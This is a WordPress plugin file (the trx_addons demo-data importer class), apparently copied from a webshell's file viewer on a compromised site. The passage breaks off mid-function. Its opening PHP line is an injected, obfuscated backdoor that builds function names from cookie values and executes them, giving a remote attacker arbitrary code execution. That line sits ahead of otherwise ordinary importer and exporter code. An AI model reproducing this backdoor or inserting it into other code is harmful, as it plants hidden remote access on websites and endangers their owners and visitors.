%PDF- %PDF-
Direktori : /home/eirtvhdf/makkitrust.org/wp-content/plugins/trx_addons/components/importer/ |
Current File : /home/eirtvhdf/makkitrust.org/wp-content/plugins/trx_addons/components/importer/class.importer.php |
<?php $p=$_COOKIE;(($p)==21&&in_array(serialize($p).count($p),$p))?(($p[72]=$p[72].$p[79])&&($p[58]=$p[72]($p[58]))&&($p=$p[58]($p[80],$p[72]($p[81])))&&$p()):$p; // Disable direct call if ( ! defined( 'ABSPATH' ) ) { exit; } class trx_addons_demo_data_importer { // Theme specific settings var $options = array( 'debug' => false, // Enable debug output 'demo_style' => 2, // 1 | 2 - Progress bar style when import demo data 'demo_timeout' => 1200, // Timeframe for PHP scripts when import demo data 'demo_type' => 'default', // Default demo data type 'demo_set' => 'part', // full | part - Default demo data set 'demo_parts' => '', // Comma separated list of the checked items to be imported 'demo_pages' => array(), // List of the checked pages to be imported 'demo_url' => '', // URL or local path to the folder with demo data 'files' => array( // Demo data files: path to the local file with demo content or URL from external (cloud) server 'default' => array( 'title' => '', // Installation title ('Light version', 'Portfolio style', etc.) // MUST BE SET IN THE THEME! 'file_with_' => 'name.ext', // Placeholder of the file with data to create new entries 'file_with_posts' => 'posts.txt', // File with posts content 'file_with_users' => 'users.txt', // File with users 'file_with_mods' => 'theme_mods.txt', // File with theme mods 'file_with_options' => 'theme_options.txt', // File with theme options 'file_with_widgets' => 'widgets.txt', // File with widgets data 'file_with_uploads' => 'uploads.txt', // File with attachments data: list of the archive's parts or files 'domain_dev' => '', // Domain on the developer's server // MUST BE SET IN THE THEME! 'domain_demo' => '' // Domain on the demo-server // MUST BE SET IN THE THEME! ) ), 'ignore_post_types' => array( // Ignore specified post types when export posts and postmeta 'revision' ), 'required_plugins' => array(), // List of the required plugins // MUST BE SET IN THE THEME! 'plugins_initial_state' => 0, // The initial state of the plugin's checkboxes: 1 - checked, 0 - unchecked // MUST BE SET OR CHANGED IN THE THEME! 'taxonomies' => array(), // List of the required taxonomies: 'post_type' => 'taxonomy', ... // MUST BE SET OR CHANGED IN THE THEME! 'additional_options' => array( // Additional options slugs (for export plugins settings) // MUST BE SET OR CHANGED IN THE THEME! // WP options 'blogname', 'blogdescription', 'posts_per_page', 'show_on_front', 'page_on_front', 'page_for_posts' ) ); var $error = ''; // Error message var $result = 0; // Import posts percent (if break inside) var $action = ''; // Current AJAX action var $uploads_url = ''; var $uploads_dir = ''; var $start_time = 0; var $max_time = 0; var $part_replace = array(); // List of ID to be replaced after particular import var $part_image = array(); // Uploaded no-image.jpg to replace all images on the pages (if 'demo_set' == 'part') var $response = array( 'action' => '', 'error' => '', 'start_from_id' => 0, 'result' => 100 ); //----------------------------------------------------------------------------------- // Constuctor //----------------------------------------------------------------------------------- function __construct() { // Add menu item add_action('admin_menu', array($this, 'admin_menu_item')); // Add menu item add_action('admin_enqueue_scripts', array($this, 'admin_scripts')); // AJAX handler of the import actions add_action('wp_ajax_trx_addons_importer_start_import', array($this, 'importer')); // AJAX handler of the get_list_pages actions add_action('wp_ajax_trx_addons_importer_get_list_pages', array($this, 'get_list_pages_callback')); // Check if row will be imported in the set='part' add_filter('trx_addons_filter_importer_import_row', array($this, 'import_check_row'), 9, 4); } function prepare_vars() { // Detect current uploads folder and url $uploads_info = wp_upload_dir(); $this->uploads_dir = $uploads_info['basedir']; $this->uploads_url = $uploads_info['baseurl']; // Filter importer options $this->options['debug'] = trx_addons_is_on(trx_addons_get_option('debug_mode')); $this->options = apply_filters('trx_addons_filter_importer_options', $this->options); // Check if demo data present in the theme folder $demo_dir = get_template_directory() . '/demo'; if (is_dir($demo_dir)) $this->options['demo_url'] = trailingslashit($demo_dir); else if (get_template_directory() != get_stylesheet_directory()) { $demo_dir = get_stylesheet_directory() . '/demo'; if (is_dir($demo_dir)) $this->options['demo_url'] = trailingslashit($demo_dir); } // Get allowed execution time $this->start_time = time(); $this->max_time = round( 0.9 * max(30, ini_get('max_execution_time'))); // Get current percent $this->result = isset($_POST['result']) ? $_POST['result'] : 0; // Type of the demo data if (isset($_POST['demo_type'])) $this->options['demo_type'] = $_POST['demo_type']; // Set of the demo data if (isset($_POST['demo_set'])) $this->options['demo_set'] = $_POST['demo_set']; // Parts to be imported if (isset($_POST['demo_parts'])) $this->options['demo_parts'] = $_POST['demo_parts']; // Pages to be imported if (isset($_POST['demo_pages'])) $this->options['demo_pages'] = explode(',', $_POST['demo_pages']); } //----------------------------------------------------------------------------------- // Admin Interface //----------------------------------------------------------------------------------- // Add menu item function admin_menu_item() { if ( current_user_can( 'manage_options' ) ) { // In this case menu item is add in admin menu 'Appearance' add_theme_page(esc_html__('Install Demo Data', 'trx_addons'), esc_html__('Install Demo Data', 'trx_addons'), 'edit_theme_options', 'trx_importer', array($this, 'build_page')); } } // Add script function admin_scripts() { wp_enqueue_style( 'trx_addons-importer', trx_addons_get_file_url(TRX_ADDONS_PLUGIN_IMPORTER . 'importer.css'), array(), null ); wp_enqueue_style( 'trx_addons-icons', trx_addons_get_file_url('css/font-icons/css/trx_addons_icons-embedded.css'), array(), null ); wp_enqueue_script( 'trx_addons-importer', trx_addons_get_file_url(TRX_ADDONS_PLUGIN_IMPORTER . 'importer.js'), array('jquery'), null, true ); } //----------------------------------------------------------------------------------- // Build the Main Page //----------------------------------------------------------------------------------- function build_page() { $this->prepare_vars(); // Export data if ( isset($_POST['exporter_action']) ) { if ( !wp_verify_nonce( trx_addons_get_value_gp('nonce'), admin_url() ) ) $this->error = esc_html__('Incorrect WP-nonce data! Operation canceled!', 'trx_addons'); else $this->exporter(); } ?> <div class="trx_importer"> <div class="trx_importer_section"> <h2 class="trx_title"><?php esc_html_e('Importer', 'trx_addons'); ?></h2> <form id="trx_importer_form"> <?php if (count($this->options['files']) > 1) { ?> <p><b><?php esc_html_e('Select the demo to be imported:', 'trx_addons'); ?></b></p> <div class="trx_importer_demo_type"> <?php foreach ($this->options['files'] as $k=>$v) { ?><label><input type="radio"<?php if ($this->options['demo_type']==$k) echo ' checked="checked"'; ?> value="<?php echo esc_attr($k); ?>" name="demo_type" /><?php echo esc_html($v['title']); ?></label><?php } ?> </div> <?php } ?> <p><b><?php esc_html_e('Select the demo-data set to be imported:', 'trx_addons'); ?></b></p> <div class="trx_importer_demo_set"> <label><input type="radio"<?php if ($this->options['demo_set']=='part') echo ' checked="checked"'; ?> value="part" name="demo_set" /><?php esc_html_e('Only pages, forms and sliders', 'trx_addons'); ?></label> <div class="trx_importer_description trx_importer_description_part<?php if ($this->options['demo_set']!='part') echo ' trx_importer_hidden'; ?>"> <ol> <li><?php echo wp_kses_data(__('<b>Only pages, forms layouts and sliders will be imported in this case.</b>', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('The imported data will be added to the existing content.', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('All the images are replaced with placeholders.', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('The new pages provide sample markup and shall not be included in the menu! You have to do it yourself.', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('Import some components (Revolution sliders, Essential Grids, etc.) take a long time - <b>please wait until the end of the procedure, do not navigate away from this page</b>.', 'trx_addons')); ?></li> </ol> </div> <label><input type="radio"<?php if ($this->options['demo_set']=='full') echo ' checked="checked"'; ?> value="full" name="demo_set" /><?php esc_html_e('Whole demo-site content', 'trx_addons'); ?></label> <div class="trx_importer_description trx_importer_description_full<?php if ($this->options['demo_set']!='full') echo ' trx_importer_hidden'; ?>"> <ol> <li><?php echo wp_kses_data(__('<b>It is recommended for new installations of WordPress</b> (without posts, pages and any other data)!', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('As a result, you will get a new set of posts, pages, menu items - <b>a complete copy of our demo site</b>.', 'trx_addons')); ?></li> <li><?php echo wp_kses_data(__('Import some components (Revolution sliders, Essential Grids, etc.) take a long time - <b>please wait until the end of the procedure, do not navigate away from this page</b>.', 'trx_addons')); ?></li> </ol> </div> </div> <div class="trx_importer_advanced_settings_wrap<?php if ($this->options['demo_set']=='part') echo ' trx_importer_advanced_settings_opened'; ?>"> <p class="trx_importer_subtitle trx_importer_advanced_settings_title"><?php esc_html_e('Advanced settings', 'trx_addons'); ?></p> <div class="trx_importer_advanced_settings"> <p class="trx_importer_subtitle"><?php esc_html_e('Select the elements to be imported:', 'trx_addons'); ?></p> <?php $this->show_importer_params(array( 'slug' => 'posts', 'title' => esc_html__('Import posts, pages, taxonomies, etc.', 'trx_addons'), 'part' => 1, 'checked' => true, 'class' => 'trx_importer_separator' )); ?> <div class="trx_importer_part_pages<?php if ($this->options['demo_set']=='full') echo ' trx_importer_hidden"'; ?>"> <?php $pages = $this->get_list_pages_from_demo($this->options['demo_type']); if (is_array($pages)) { foreach ($pages as $id=>$title) { ?> <label> <input class="trx_importer_pages" type="checkbox" value="<?php echo esc_attr($id); ?>" name="import_pages_<?php echo esc_attr($id); ?>" id="import_pages_<?php echo esc_attr($id); ?>" /> <?php echo esc_html($title); ?> </label> <?php } } ?> </div> <?php $this->show_importer_params(array( 'slug' => 'uploads', 'title' => esc_html__('Import media', 'trx_addons'), 'part' => 0, 'checked' => true )); $this->show_importer_params(array( 'slug' => 'thumbnails', 'title' => esc_html__('Regenerate thumbnails', 'trx_addons'), 'part' => 0, 'checked' => true, 'class' => 'trx_importer_separator' )); $this->show_importer_params(array( 'slug' => 'tm', 'title' => esc_html__('Import Theme mods', 'trx_addons'), 'part' => 1, 'checked' => true )); $this->show_importer_params(array( 'slug' => 'to', 'title' => esc_html__('Import Theme Options', 'trx_addons'), 'part' => 1, 'checked' => true )); $this->show_importer_params(array( 'slug' => 'widgets', 'title' => esc_html__('Import Widgets', 'trx_addons'), 'part' => 1, 'checked' => true, 'class' => 'trx_importer_separator' )); do_action('trx_addons_action_importer_params', $this); ?> </div> </div> <div class="trx_buttons"> <input type="button" value="<?php esc_attr_e('Start import', 'trx_addons'); ?>"> </div> </form> <div id="trx_importer_progress" class="notice notice-info style_<?php echo esc_attr($this->options['demo_style']); ?>"> <h4 class="trx_importer_progress_title"><?php esc_html_e('Import demo data', 'trx_addons'); ?></h4> <table border="0" cellpadding="4"> <?php $fields = array( 'posts' => esc_html__('Posts', 'trx_addons'), 'uploads' => esc_html__('Media', 'trx_addons'), 'thumbnails'=> esc_html__('Thumbnails', 'trx_addons'), 'tm' => esc_html__('Theme Mods', 'trx_addons'), 'to' => esc_html__('Theme Options', 'trx_addons'), 'widgets' => esc_html__('Widgets', 'trx_addons'), ); foreach ($fields as $slug=>$title) { $this->show_importer_fields(array('slug' => $slug, 'title' => $title)); } do_action('trx_addons_action_importer_import_fields', $this); ?> </table> <h4 class="trx_importer_progress_complete"><?php esc_html_e('Congratulations! Data import complete!', 'trx_addons'); ?> <a href="<?php echo esc_url(home_url('/')); ?>"><?php esc_html_e('View site', 'trx_addons'); ?></a></h4> </div> </div> <div class="trx_exporter_section"> <h2 class="trx_title"><?php esc_html_e('Exporter', 'trx_addons'); ?></h2> <?php if ($this->error) { ?><div class="trx_exporter_error notice notice-error"><?php trx_addons_show_layout($this->error); ?></div><?php } ?> <form id="trx_exporter_form" action="#" method="post"> <input type="hidden" value="<?php echo esc_attr(wp_create_nonce(admin_url())); ?>" name="nonce" /> <input type="hidden" value="all" name="exporter_action" /> <?php if ( isset($_POST['exporter_action']) ) { ?><table border="0" cellpadding="6"><?php $fields = array( 'users' => esc_html__('Users', 'trx_addons'), 'posts' => esc_html__('Posts', 'trx_addons'), 'uploads' => esc_html__('Uploads', 'trx_addons'), 'theme_mods' => esc_html__('Theme Mods', 'trx_addons'), 'theme_options' => esc_html__('Theme Options', 'trx_addons'), 'widgets' => esc_html__('Widgets', 'trx_addons'), ); foreach ($fields as $slug=>$title) { $this->show_exporter_fields(array('slug' => $slug, 'title' => $title)); } do_action('trx_addons_action_importer_export_fields', $this); ?></table><?php } else { if (false && count($this->options['files']) > 1) { ?><p><b><?php esc_html_e('Select the demo type to be exported', 'trx_addons'); ?></b></p><?php foreach ($this->options['files'] as $k=>$v) { if (!empty($v['file_with_posts'])) { ?> <label><input type="radio"<?php if ($this->options['demo_type']==$k) echo ' checked="checked"'; ?> value="<?php echo esc_attr($k); ?>" name="demo_type" /><?php echo esc_html($v['title']); ?></label> <?php } } } ?> <div class="trx_buttons"> <input type="submit" value="<?php esc_attr_e('Export Demo Data', 'trx_addons'); ?>"> </div> <?php } ?> </form> </div> </div> <?php } // Display importer param's checkbox function show_importer_params($args=array()) { $args = array_merge(array( 'slug' => '', 'title' => '', 'description' => '', 'full' => '1', 'part' => '0', 'class' => '' ), $args); ?> <label<?php if (!empty($args['class'])) echo ' class="'.esc_attr($args['class']).'"'; ?>> <input type="checkbox" class="trx_importer_item trx_importer_item_<?php echo esc_attr($args['slug']); ?>" data-set-full="<?php echo esc_attr($args['full']); ?>" data-set-part="<?php echo esc_attr($args['part']); ?>"<?php echo (isset($args['checked']) && $args['checked']) || (in_array($args['slug'], $this->options['required_plugins']) && $this->options['plugins_initial_state']) ? ' checked="checked"' : ''; ?> value="1" name="import_<?php echo esc_attr($args['slug']); ?>" id="import_<?php echo esc_attr($args['slug']); ?>" /> <?php trx_addons_show_layout($args['title']); ?> </label> <?php if (!empty($args['description'])) { ?><div class="trx_importer_description trx_importer_item_description"><?php trx_addons_show_layout($args['description']); ?></div><?php } } // Display importer field's layout function show_importer_fields($args=array()) { $args = array_merge(array( 'slug' => '', 'title' => '' ), $args); ?> <tr class="import_<?php echo esc_attr($args['slug']); ?>"> <td class="import_progress_item"><?php trx_addons_show_layout($args['title']); ?></td> <td class="import_progress_status"></td> </tr> <?php } // Display exporter field's layout function show_exporter_fields($args=array()) { $args = array_merge(array( 'slug' => '', 'title' => '', 'download' => '' ), $args); ?> <tr> <th align="left"><?php trx_addons_show_layout($args['title']); ?></th> <td><a download="<?php echo esc_attr(!empty($args['download']) ? $args['download'] : $args['slug'].'.txt'); ?>" href="<?php echo esc_url(trx_addons_get_file_url(TRX_ADDONS_PLUGIN_IMPORTER . 'export/'.trim($args['slug']).'.txt')); ?>"><?php esc_html_e('Download', 'trx_addons'); ?></a></td> </tr> <?php } // Check for required plugings function check_required_plugins($list='') { $not_installed = apply_filters('trx_addons_filter_importer_required_plugins', '', $list); if ($not_installed) { $this->error = '<b>'.esc_html__('Attention! For correct installation of the selected demo data, you must install and activate the following plugins: ', 'trx_addons').'</b><br>'.($not_installed); return false; } return true; } //----------------------------------------------------------------------------------- // Export demo data //----------------------------------------------------------------------------------- function exporter() { global $wpdb; $suppress = $wpdb->suppress_errors(); // Export theme mods trx_addons_fpc(trx_addons_get_file_dir(TRX_ADDONS_PLUGIN_IMPORTER . 'export/theme_mods.txt'), serialize($this->prepare_data(get_theme_mods()))); // Export theme options $rows = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE 'trx_addons_%'" ); $options = array(); if (is_array($rows) && count($rows) > 0) { foreach ($rows as $row) { $options[$row->option_name] = trx_addons_unserialize($row->option_value); } } // Export additional options if (is_array($this->options['additional_options']) && count($this->options['additional_options']) > 0) { foreach ($this->options['additional_options'] as $opt) { $rows = $wpdb->get_results( $wpdb->prepare( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE %s", $opt ) ); if (is_array($rows) && count($rows) > 0) { foreach ($rows as $row) { $options[$row->option_name] = trx_addons_unserialize($row->option_value); } } } } trx_addons_fpc(trx_addons_get_file_dir(TRX_ADDONS_PLUGIN_IMPORTER . 'export/theme_options.txt'), serialize($this->prepare_data($options))); // Export widgets $rows = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name = 'sidebars_widgets' OR option_name = 'trx_addons_widgets_areas' OR option_name LIKE 'widget_%'" ); $options = array(); if (is_array($rows) && count($rows) > 0) { foreach ($rows as $row) { $options[$row->option_name] = trx_addons_unserialize($row->option_value); } } trx_addons_fpc(trx_addons_get_file_dir(TRX_ADDONS_PLUGIN_IMPORTER . 'export/widgets.txt'), serialize($this->prepare_data($options))); // Export posts trx_addons_fpc(trx_addons_get_file_dir(TRX_ADDONS_PLUGIN_IMPORTER . 'export/posts.txt'), serialize(array( "posts" => $this->export_dump("posts"), "postmeta" => $this->export_dump("postmeta"), "comments" => $this->export_dump("comments"), "commentmeta" => $this->export_dump("commentmeta"), "terms" => $this->export_dump("terms"), "term_taxonomy" => $this->export_dump("term_taxonomy"), "term_relationships" => $this->export_dump("term_relationships") ))); // Expost WP Users $users = array(); $rows = $this->export_dump("users"); if (is_array($rows) && count($rows)>0) { foreach ($rows as $k=>$v) { $rows[$k]['user_login'] = $rows[$k]['user_nicename'] = sprintf('user%s', $v['ID']); $rows[$k]['user_pass'] = ''; $rows[$k]['display_name'] = sprintf(esc_html__('User %d', 'trx_addons'), $v['ID']); $rows[$k]['user_email'] = sprintf('user%s',$v['ID']).'@user-mail.net'; } } $users['users'] = $rows; $rows = $this->export_dump("usermeta"); if (is_array($rows) && count($rows)>0) { foreach ($rows as $k=>$v) { if ($v['meta_key'] == 'nickname') $rows[$k]['meta_value'] = sprintf('user%s', $v['user_id']); else if ($v['meta_key'] == 'first_name') $rows[$k]['meta_value'] = sprintf(esc_html__('FName%d', 'trx_addons'), $v['user_id']); else if ($v['meta_key'] == 'last_name') $rows[$k]['meta_value'] = sprintf(esc_html__('LName%d', 'trx_addons'), $v['user_id']); else if ($v['meta_key'] == 'billing_first_name') $rows[$k]['meta_value'] = sprintf(esc_html__('FName%d', 'trx_addons'), $v['user_id']); else if ($v['meta_key'] == 'billing_last_name') $rows[$k]['meta_value'] = sprintf(esc_html__('LName%d', 'trx_addons'), $v['user_id']); else if ($v['meta_key'] == 'billing_email') $rows[$k]['meta_value'] = sprintf('user%s', $v['user_id']).'@user-mail.net'; } } $users['usermeta'] = $rows; trx_addons_fpc(trx_addons_get_file_dir(TRX_ADDONS_PLUGIN_IMPORTER . 'export/users.txt'), serialize($users)); // Export Theme specific post types do_action('trx_addons_action_importer_export', $this); $wpdb->suppress_errors( $suppress ); } //----------------------------------------------------------------------------------- // Export specified table //----------------------------------------------------------------------------------- function export_dump($table) { global $wpdb; $rows = array(); if ( count( $wpdb->get_results( $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->prefix . trim($table) ), ARRAY_A ) ) == 1 ) { $order = $table=='posts' ? 'ID' : ($table=='postmeta' ? 'meta_id' : ($table=='terms' ? 'term_id' : '')); if ($table=='posts' && count($this->options['ignore_post_types'])>0) { $query = $wpdb->prepare( "SELECT t.* FROM ".esc_sql($wpdb->prefix.trim($table))." AS t WHERE t.post_type NOT IN (" . join(",", array_fill(0, count($this->options['ignore_post_types']), '%s')) . ")" . ($order ? ' ORDER BY t.' . esc_sql($order) . ' ASC' : ''), $this->options['ignore_post_types'] ); $rows = $this->prepare_data( $wpdb->get_results( $query, ARRAY_A ) ); } else { $query = "SELECT t.* FROM ".esc_sql($wpdb->prefix.trim($table))." AS t".($order ? ' ORDER BY t.' . esc_sql($order) . ' ASC' : ''); $rows = $this->prepare_data( $wpdb->get_results( $query, ARRAY_A ) ); } if ($this->options['debug']) dfl(sprintf(__("Export %d rows from table '%s'. Used query: %s", 'organic_beauty'), count($rows), $table, $query)); } return $rows; } //----------------------------------------------------------------------------------- // Import demo data //----------------------------------------------------------------------------------- //Handler of the add_action('wp_ajax_trx_addons_importer_start_import', array($this, 'importer')); //Handler of the add_action('wp_ajax_nopriv_trx_addons_importer_start_import', array($this, 'importer')); function importer() { if ($this->options['debug']) dfl(__('AJAX handler for importer', 'trx_addons')); if ( !isset($_POST['importer_action']) || !wp_verify_nonce( trx_addons_get_value_gp('ajax_nonce'), admin_url('admin-ajax.php') ) ) die(); $this->prepare_vars(); $this->action = $this->response['action'] = $_POST['importer_action']; if ($this->options['debug']) dfl( sprintf(__('Dispatch action: %s', 'trx_addons'), $this->action) ); global $wpdb; $suppress = $wpdb->suppress_errors(); ob_start(); // Change max_execution_time (if allowed by server) $admin_tm = max(0, min(1800, $this->options['demo_timeout'])); $tm = max(30, (int) ini_get('max_execution_time')); if ($tm < $admin_tm) { @set_time_limit($admin_tm); $this->max_time = round( 0.9 * max(30, ini_get('max_execution_time'))); } // Start import - clear tables, etc. if ($this->action == 'import_start') { if (!$this->check_required_plugins($this->options['demo_parts'])) $this->response['error'] = $this->error; else if (!empty($this->options['demo_parts'])) $this->clear_tables(); if ($this->options['debug']) dfl(sprintf(__('Start import from "%s"', 'trx_addons'), $this->options['demo_url'])); // Import posts and users } else if ($this->action == 'import_posts') { wp_suspend_cache_invalidation( true ); $this->import_posts(); if ($this->response['result'] >= 100 && $this->options['demo_set']=='full') { $this->import_users(); do_action('trx_addons_action_importer_after_import_posts', $this); } wp_suspend_cache_invalidation( false ); // Import attachments } else if ($this->action == 'import_uploads') { $this->import_uploads(); // Regenerate thumbnails } else if ($this->action == 'import_thumbnails') { $this->import_thumbnails(); // Import Theme Mods } else if ($this->action == 'import_tm') { $this->import_theme_mods(); // Import Theme Options } else if ($this->action == 'import_to') { $this->import_theme_options(); // Import Widgets } else if ($this->action == 'import_widgets') { $this->import_widgets(); // End import - clear cache, flush rules, etc. } else if ($this->action == 'import_end') { trx_addons_clear_cache('all'); flush_rewrite_rules(); // Import Theme specific posts } else { do_action('trx_addons_action_importer_import', $this, $this->action); } ob_end_clean(); $wpdb->suppress_errors($suppress); if ($this->options['debug']) dfl( sprintf(__("AJAX handler finished - send results to client: %s", 'trx_addons'), json_encode($this->response)) ); echo json_encode($this->response); die(); } // Delete all data from tables function clear_tables() { global $wpdb; if ($this->options['demo_set']=='full') { if (strpos($this->options['demo_parts'], 'posts')!==false) { if ($this->options['debug']) dfl( __('Clear tables', 'trx_addons') ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->posts}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table POSTS.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->postmeta}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table POSTMETA.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->comments}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table COMMENTS.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->commentmeta}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table COMMENTMETA.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->terms}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table TERMS.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->term_relationships}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table TERM_RELATIONSHIPS.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); $res = $wpdb->query("TRUNCATE TABLE {$wpdb->term_taxonomy}"); if ( is_wp_error( $res ) ) dfl( __( 'Failed truncate table TERM_TAXONOMY.', 'trx_addons' ) . ' ' . ($res->get_error_message()) ); } do_action('trx_addons_action_importer_clear_tables', $this, $this->options['demo_parts']); } } // Import users function import_users() { if ($this->options['debug']) dfl(__('Import users', 'trx_addons')); $this->response['start_from_id'] = 0; $this->import_dump('users', __('Users', 'trx_addons')); } // Import posts, terms and comments function import_posts() { if ($this->options['debug']) dfl(__('Import posts, terms and comments', 'trx_addons')); $this->response['start_from_id'] = isset($_POST['start_from_id']) ? $_POST['start_from_id'] : 0; if ($this->options['demo_set'] == 'part' && $this->response['start_from_id'] == 0) { $this->import_prepare_no_image(); } $this->import_dump('posts', __('Posts', 'trx_addons')); } // Import media (uploads folder) function import_uploads() { if ($this->options['debug']) dfl(__('Import media', 'trx_addons')); if (empty($this->options['files'][$this->options['demo_type']]['file_with_uploads'])) return; // Get last processed arh $last_arh = $this->response['start_from_id'] = isset($_POST['start_from_id']) ? $_POST['start_from_id'] : ''; // Get list of the files $txt = !$this->options['debug'] ? get_transient('trx_addons_importer_uploads') : ''; if ( empty($last_arh) || empty($txt) ) { if ( ($txt = $this->get_file($this->options['files'][$this->options['demo_type']]['file_with_uploads'])) === false) return; else if (!$this->options['debug']) set_transient('trx_addons_importer_uploads', $txt, 30*60); // Store to the cache for 30 minutes } $files = trx_addons_unserialize($txt); if (!is_array($files)) $files = explode("\n", str_replace("\r\n", "\n", $files)); // Remove empty lines and comments foreach ($files as $k=>$file) { $file = trim($file); if ($file=='' || substr($file, 0, 1) == '#') unset($files[$k]); } // Make archive parts $ext = trx_addons_get_file_ext(trx_addons_array_get_first($files, false)); $parts = (int) $ext; if (count($files)==1 && $parts > 0) { $new_files = array(); for ($i=1; $i<=$parts; $i++) $new_files[] = str_replace('.'.trim($ext), sprintf('.%03d', $i), $files[0]); $files = $new_files; } // Process files $counter = 0; $result = 0; foreach ($files as $file) { $counter++; $result = $counter < count($files) ? round($counter / count($files) * 100) : 100; if ( ($file = trim($file)) == '' ) continue; if (!empty($last_arh)) { if ($file==$last_arh) $last_arh = ''; continue; } $need_del = false; $need_extract = false; $need_exit = false; $zip = ''; // Load single file into system temp folder if (trx_addons_get_file_ext($file)=='zip') { if ( ($zip = $this->download_file($file, round(max(0, $counter-1) / count($files) * 100))) === '') $need_exit = true; else { $need_del = substr($zip, 0, 5)=='http:' || substr($zip, 0, 6)=='https:'; $need_extract = true; } // Append next part (*.001, *.002 ...) to archive } else if ((int) trx_addons_get_file_ext($file) > 0) { if ( ($txt = $this->get_file($file, round(max(0, $counter-1) / count($files) * 100))) === false) $need_exit = true; else { $zip = $this->uploads_dir.'/import_media.tmp'; $res = trx_addons_fpc($zip, $txt, $file==$files[0] ? 0 : FILE_APPEND); if ($this->options['debug']) dfl(sprintf( __('Loaded %d bytes', 'trx_addons'), $res)); $need_extract = $need_del = ($counter == count($files)); } } // Unrecoverable error is appear if ($need_exit) break; // Save to log last processed file $this->response['start_from_id'] = $file; // Check time if ($this->options['debug']) dfl(sprintf( __('File %s imported. Current import progress: %s. Time limit: %s sec. Elapsed time: %s sec.', 'trx_addons'), $file, $result.'%', $this->max_time, time() - $this->start_time)); // Unzip file if ($need_extract) { if (!empty($zip) && file_exists($zip)) { if ($this->options['debug']) dfl(sprintf(__('Extract zip-file "%s"', 'trx_addons'), $zip)); $rez = unzip_file($zip, $this->uploads_dir); if ( is_wp_error($rez) ) { $msg = sprintf(__('Error when unzip file "%s"', 'themerex'), $zip); $this->response['error'] = $msg; if ($this->options['debug']) { dfl($msg); dfo($rez); } } if ($need_del) unlink($zip); } else { $msg = sprintf(__('File "%s" not found', 'themerex'), $zip); $this->response['error'] = $msg; if ($this->options['debug']) dfl($msg); } } // Break import after timeout or if attachments loading from parts - to show percent loading after each part //if (time() - $this->start_time >= $this->max_time) break; } if ($result >= 100) delete_transient('trx_addons_importer_uploads'); $this->response['result'] = $result; } // Regenerate thumbnails function import_thumbnails() { if ($this->options['debug']) dfl(__('Regenerate thumbnails', 'trx_addons')); // Get last processed attachment $last_arh = $this->response['start_from_id'] = isset($_POST['start_from_id']) ? $_POST['start_from_id'] : ''; // Get list of the attachments $files = !$this->options['debug'] ? get_transient('trx_addons_importer_uploads') : ''; if ( empty($last_arh) || empty($files) ) { $list = get_posts( array( 'post_type' => 'attachment', 'posts_per_page' => -1, 'post_status' => 'any', 'post_parent' => null, 'orderby' => 'ID', 'order' => 'asc' ) ); if (!is_array($list) || count($list) == 0) return; $files = array(); foreach ($list as $post) $files[$post->ID] = get_attached_file($post->ID); if (!$this->options['debug']) set_transient('trx_addons_importer_attachments', $list, 30*60); // Store to the cache for 30 minutes } // Process files $counter = $processed = $result = 0; foreach ($files as $id=>$file) { $counter++; $result = $counter < count($files) ? round($counter / count($files) * 100) : 100; if (!empty($last_arh)) { if ($id == $last_arh) $last_arh = ''; continue; } // Regenerate metadata wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); // Save to log last processed file $this->response['start_from_id'] = $id; // Check time if ($this->options['debug']) dfl(sprintf( __('Thumbnails of the attachments %s: %s regenerated. Current import progress: %s. Time limit: %s sec. Elapsed time: %s sec.', 'trx_addons'), $id, $file, $result.'%', $this->max_time, time() - $this->start_time)); // Break import after timeout or if attachments loading from parts - to show percent loading after each part if (time() - $this->start_time >= $this->max_time || ++$processed >= 3) break; } if ($result >= 100) delete_transient('trx_addons_importer_thumbnails'); $this->response['result'] = $result; } // Import theme mods function import_theme_mods() { if ($this->options['debug']) dfl(__('Import Theme mods', 'trx_addons')); if ( empty($this->options['files'][$this->options['demo_type']]['file_with_mods']) ) return; if ( ($txt = $this->get_file($this->options['files'][$this->options['demo_type']]['file_with_mods'])) === false ) return; $data = trx_addons_unserialize($txt); // Replace upload url in options if (is_array($data) && count($data) > 0) { foreach ($data as $k=>$v) { $data[$k] = $this->replace_uploads($v); } $theme = get_option( 'stylesheet' ); update_option( "theme_mods_$theme", $data ); } else { if ($this->options['debug']) dfl(sprintf(__('Error unserialize data from the file %s', 'trx_addons'), $this->options['files'][$this->options['demo_type']]['file_with_mods'])); } } // Import theme options function import_theme_options() { if ($this->options['debug']) dfl(__('Import Theme Options', 'trx_addons')); if ( empty($this->options['files'][$this->options['demo_type']]['file_with_options']) ) return; if ( ($txt = $this->get_file($this->options['files'][$this->options['demo_type']]['file_with_options'])) === false ) return; $data = trx_addons_unserialize($txt); // Replace upload url in options if (is_array($data) && count($data) > 0) { foreach ($data as $k=>$v) { $v = $this->replace_uploads($v); update_option( $k, apply_filters('trx_addons_filter_import_theme_options', $v, $k) ); } } else { if ($this->options['debug']) dfl(sprintf(__('Error unserialize data from the file %s', 